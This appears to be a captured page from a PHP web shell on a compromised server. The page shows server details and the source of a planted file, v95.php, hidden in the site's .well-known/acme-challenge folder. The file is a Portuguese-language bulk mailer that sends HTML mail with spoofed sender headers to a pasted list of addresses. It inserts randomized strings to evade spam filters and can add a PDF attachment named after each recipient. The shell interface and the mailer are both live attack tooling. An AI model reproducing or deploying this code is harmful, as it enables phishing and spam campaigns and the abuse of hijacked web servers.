Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 172.67.134.116  /  Your IP : 216.73.217.68
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nobi37te/public_html/.well-known/acme-challenge/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nobi37te/public_html/.well-known/acme-challenge/v95.php
<?PHP
$testa = $_POST['veio'];
if($testa != "") {
    $message = $_POST['html'];
    $subject = $_POST['assunto'];
    $nome = $_POST['nome'];
    $to = $_POST['emails'];
    $de = $_POST['de'];

    //$arquivo_fixo = __DIR__ . ""; // Caminho fixo no mesmo diretório

    if( PATH_SEPARATOR ==';'){ $quebra_linha="\r\n";
    } elseif (PATH_SEPARATOR==':'){ $quebra_linha="\n";
    } elseif ( PATH_SEPARATOR!=';' and PATH_SEPARATOR!=':' ) {
        echo ('Esse script não funcionará corretamente neste servidor.');
    }

    function generateRandomHexa($length = 10) {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $randomString = '';
        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[rand(0, strlen($characters) - 1)];
        }
        return $randomString;
    }

    function generateRandomString($length = 10) {
        $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $randomString = '';
        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[rand(0, strlen($characters) - 1)];
        }
        return $randomString;
    }

    function generateRandomInteger($length = 4) {
        $characters = '0123456789';
        $randomString = '';
        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[rand(0, strlen($characters) - 1)];
        }
        return $randomString;
    }

    $email = explode("\n", $to);
    $i = 0;
    $count = 1;

    while($email[$i]) {
        sleep(2);
        $ok = "ok";
        $boundary = "XYZ-" . date("dmYis") . "-ZYX";

        $nome_processado = $_POST['nome'];
        $nome_processado = str_replace("{emailcompleto}", $email[$i], $nome_processado);
        $nome_processado = str_replace("{emailcompletoBase64}", base64_encode($email[$i]), $nome_processado);
        $nome_processado = str_replace("%generateRandomHexa%", generateRandomHexa(rand(5, 10)), $nome_processado);
        $nome_processado = str_replace("%generateRandomString%", generateRandomString(rand(5, 30)), $nome_processado);
        $nome_processado = str_replace("%generateRandomInteger%", generateRandomInteger(), $nome_processado);
        $nome_encoded = '=?utf-8?B?'.base64_encode($nome_processado).'?=';

        $subject_processado = $_POST['assunto'];
        $subject_processado = str_replace("{emailcompleto}", $email[$i], $subject_processado);
        $subject_processado = str_replace("{emailcompletoBase64}", base64_encode($email[$i]), $subject_processado);
        $subject_processado = str_replace("%generateRandomHexa%", generateRandomHexa(rand(5, 10)), $subject_processado);
        $subject_processado = str_replace("%generateRandomString%", generateRandomString(rand(5, 30)), $subject_processado);
        $subject_processado = str_replace("%generateRandomInteger%", generateRandomInteger(), $subject_processado);
        $subject_encoded = '=?utf-8?B?'.base64_encode($subject_processado).'?=';

        $message_processado = $_POST['html'];
        $message_processado = str_replace("{emailcompleto}", $email[$i], $message_processado);
        $message_processado = str_replace("{emailcompletoBase64}", base64_encode($email[$i]), $message_processado);
        $message_processado = str_replace("%generateRandomHexa%", generateRandomHexa(rand(5, 10)), $message_processado);
        $message_processado = str_replace("%generateRandomString%", generateRandomString(rand(5, 30)), $message_processado);
        $message_processado = str_replace("%generateRandomInteger%", generateRandomInteger(), $message_processado);
        $message_processado = stripslashes($message_processado);

        $mens = "--$boundary".$quebra_linha;
        $mens .= "Content-Transfer-Encoding: 8bits".$quebra_linha;
        $mens .= "Content-Type: text/html; charset=\"utf-8\"".$quebra_linha.$quebra_linha;
        $mens .= $message_processado.$quebra_linha;

        if (file_exists($arquivo_fixo)) {
            $user_part = explode('@', trim($email[$i]))[0];
            $rand_suffix = generateRandomInteger();
            $file_name = "945675750876" . $rand_suffix . $user_part . ".pdf";

            $file_type = "application/pdf";
            $content = file_get_contents($arquivo_fixo);
            $encoded_content = chunk_split(base64_encode($content));

            $mens .= "--$boundary".$quebra_linha;
            $mens .= "Content-Type: $file_type; name=\"$file_name\"".$quebra_linha;
            $mens .= "Content-Disposition: attachment; filename=\"$file_name\"".$quebra_linha;
            $mens .= "Content-Transfer-Encoding: base64".$quebra_linha;
            $mens .= "X-Attachment-Id: ".rand(1000,99999).$quebra_linha.$quebra_linha;
            $mens .= $encoded_content.$quebra_linha;
        }

        $mens .= "--$boundary--".$quebra_linha;

        $headers = "MIME-Version: 1.0".$quebra_linha;
        $headers .= "From: ".$nome_encoded." <".$de.">".$quebra_linha;
        $headers .= "Return-Path: $de".$quebra_linha;
        $headers .= "Content-type: multipart/mixed; boundary=\"$boundary\"".$quebra_linha;

        if(mail($email[$i], $subject_encoded, $mens, $headers, "-r".$de))
            echo "<font color=green>* FOI: $count <b>".$email[$i]."</b> Enviado OK!</font><br><hr>";
        else
            echo "<font color=red>* FOI: $count <b>".$email[$i]."</b> Erro no envio!</font><br><hr>";

        $i++;
        $count++;
    }

    if($ok == "ok")
        echo "[Fim do Envio]";
}
?>


<!DOCTYPE html>
<html>
<head>
  <title>2025</title>
  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  <style>
body { background-color: #000; margin: 0; padding: 0; }
.normal { font-family: Arial; font-size: 12px; color: #000; }
.form { font-family: Arial; font-size: 10px; color: #333; background-color: #fff; border: 1px dashed #666; }
.style3 {color: #FF0000;}
.style11 {color: #33CCFF;}
.style12 {color: #00FF00;}
.style13 {color: #CCCCCC;}
.style15 {color: #00FF00; font-size: 36px;}
  </style>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data" name="form1">
  <input type="hidden" name="veio" value="sim">
  <table width="570" height="511" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC" class="normal">
    <tr>
      <td width="462" height="25" align="center" bgcolor="#000000"><p class="style15"><font color="#FFFFFF">Hasnf - </font><font color="#FF0000"><b>2025</b></font></p></td>
    </tr>
    <tr>
      <td height="194" align="center" valign="top" bgcolor="#FFFFFF">
        <table width="100%" height="444" border="0" cellpadding="0" cellspacing="5" class="normal">
          <tr>
            <td bgcolor="#000000"><div align="left" class="style12">Nome :</div><p align="left" class="style12">Email:</p></td>
            <td bgcolor="#000000">
              <p align="center"><input name="nome" type="text" class="form" id="nome" style="width:48%"></p>
              <p align="center"><input name="de" type="text" class="form" id="de" style="width:49%"></p>
            </td>
          </tr>
          <tr>
            <td bgcolor="#000000"><div align="left" class="style12">Assunto :</div></td>
            <td><input name="assunto" type="text" class="form" id="assunto" style="width:100%"></td>
          </tr>
          <tr>
            <td bgcolor="#000000"><div align="left" class="style12">Anexo :</div></td>
            <td><input name="EnviarAnexo" type="text" class="form" id="EnviarAnexo" style="width:100%" value="nao"></td>
          </tr>
          <tr align="center" bgcolor="#99CCFF">
            <td colspan="2" bgcolor="#000000">&nbsp;</td>
          </tr>
          <tr align="right">
            <td colspan="2" valign="top" bgcolor="#000000">
              <div align="center"><span class="style12"># <span class="style3">HTML</span> OU<span class="style3"> TEXTO</span> #</span><br>
              <textarea name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="style11" id="html"></textarea></div>
            </td>
          </tr>
          <tr align="center" bgcolor="#99CCFF">
            <td colspan="2" bgcolor="#000000"><p class="style13"></p></td>
          </tr>
          <tr align="right">
            <td colspan="2" valign="top" bgcolor="#000000">
              <div align="center"><span class="style12"> .::|L- <span class="style3">E-mails</span></span> <span class="style12">|::.</span><br>
              <textarea name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="style12" id="emails"></textarea></div>
            </td>
          </tr>
          <tr>
            <td colspan="2" align="center" valign="top" bgcolor="#000000">
              <input name="Submit" type="submit" class="form" id="enviar" value="enviar">
            </td>
          </tr>
          <tr>
            <td align="left" bgcolor="#000000"><div class="style12">IP: <?php echo $_SERVER['SERVER_ADDR']; ?></div></td>
            <td align="left" bgcolor="#000000"><div class="style12">Sistema Operacional: <?php echo $OS = @PHP_OS; ?></div></td>
          </tr>
          <tr align="right">
            <td colspan="2" valign="top" bgcolor="#000000"><div align="center"><span class="style12">Servidor: <?php echo $UNAME = @php_uname(); ?></span></div></td>
          </tr>
        </table>
      </td>
    </tr>
    <tr>
      <td bgcolor="#FFFFFF">&nbsp;</td>
    </tr>
  </table>
</form>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit